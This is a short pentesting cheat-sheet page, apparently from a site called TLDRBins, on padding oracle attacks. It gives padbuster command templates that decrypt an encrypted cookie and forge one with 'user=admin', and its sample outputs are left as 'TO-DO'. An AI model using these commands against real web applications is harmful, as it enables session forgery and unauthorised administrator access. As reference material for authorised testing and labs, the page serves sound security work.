TLDRBins TLDRBins / Padding Oracle

Usage Tips:

  • Click on a keyword to enable inline editing.
  • Click inside a code block to copy (excludes comments).
  • Use the button to view examples.
  • Click outside to collapse all examples.

Tools

# 8 or 16     : block size
# encoding 0  : base64
padbuster http://<TARGET>/index.php <COOKIE_VALUE> 8 -cookies <COOKIE_NAME>=<COOKIE_VALUE> -encoding 0

Sample Output:
TO-DO
# Forge cookie value, e.g. user=admin
padbuster http://<TARGET>/index.php <COOKIE_VALUE> 8 -cookies <COOKIE_NAME>=<COOKIE_VALUE> -encoding 0 -plaintext user=admin

Sample Output:
TO-DO

Ref: Download padbuster